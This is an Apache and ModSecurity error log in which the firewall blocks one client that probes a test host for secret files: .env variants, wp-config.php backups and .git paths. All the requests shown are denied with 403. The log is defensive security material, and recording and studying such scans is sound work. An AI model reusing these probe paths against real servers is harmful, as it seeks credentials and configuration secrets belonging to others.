[Thu Jul 10 08:35:07.583609 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlwAAAAQ&quot;]
[Thu Jul 10 08:35:07.583800 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlwAAAAQ&quot;]
[Thu Jul 10 08:35:07.665501 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmAAAAAQ&quot;]
[Thu Jul 10 08:35:07.665755 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmAAAAAQ&quot;]
[Thu Jul 10 08:35:07.665992 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmAAAAAQ&quot;]
[Thu Jul 10 08:35:07.701466 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmQAAAAQ&quot;]
[Thu Jul 10 08:35:07.701712 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmQAAAAQ&quot;]
[Thu Jul 10 08:35:07.701922 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmQAAAAQ&quot;]
[Thu Jul 10 08:35:07.785594 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmwAAAAQ&quot;]
[Thu Jul 10 08:35:07.785973 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmwAAAAQ&quot;]
[Thu Jul 10 08:35:07.786257 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tmwAAAAQ&quot;]
[Thu Jul 10 08:35:07.818969 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hotpot-app-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tnAAAAAQ&quot;]
[Thu Jul 10 08:35:07.819259 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tnAAAAAQ&quot;]
[Thu Jul 10 08:35:07.819468 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tnAAAAAQ&quot;]
[Thu Jul 10 08:35:07.882115 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp_host&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp_host&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tnQAAAAQ&quot;]
[Thu Jul 10 08:35:07.882417 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp_host&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tnQAAAAQ&quot;]
[Thu Jul 10 08:35:07.882635 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp_host&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tnQAAAAQ&quot;]
[Thu Jul 10 08:35:07.970383 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.2&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tngAAAAQ&quot;]
[Thu Jul 10 08:35:07.970638 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.2&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tngAAAAQ&quot;]
[Thu Jul 10 08:35:07.970826 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.2&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tngAAAAQ&quot;]
[Thu Jul 10 08:35:08.072283 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.8&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.8&quot;] [unique_id &quot;aG9fHKfTzetFftLHN63tnwAAAAQ&quot;]
[Thu Jul 10 08:35:08.072565 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.8&quot;] [unique_id &quot;aG9fHKfTzetFftLHN63tnwAAAAQ&quot;]
[Thu Jul 10 08:35:08.072762 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.8&quot;] [unique_id &quot;aG9fHKfTzetFftLHN63tnwAAAAQ&quot;]
[Thu Jul 10 08:35:11.765875 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63toQAAAAQ&quot;]
[Thu Jul 10 08:35:11.766118 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63toQAAAAQ&quot;]
[Thu Jul 10 08:35:11.766298 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63toQAAAAQ&quot;]
[Thu Jul 10 08:35:11.790365 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63togAAAAQ&quot;]
[Thu Jul 10 08:35:11.790640 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63togAAAAQ&quot;]
[Thu Jul 10 08:35:11.790827 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63togAAAAQ&quot;]
[Thu Jul 10 08:35:11.813718 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-push&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63towAAAAQ&quot;]
[Thu Jul 10 08:35:11.813966 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63towAAAAQ&quot;]
[Thu Jul 10 08:35:11.814155 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63towAAAAQ&quot;]
[Thu Jul 10 08:35:11.837420 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aG9fH6fTzetFftLHN63tpAAAAAQ&quot;]
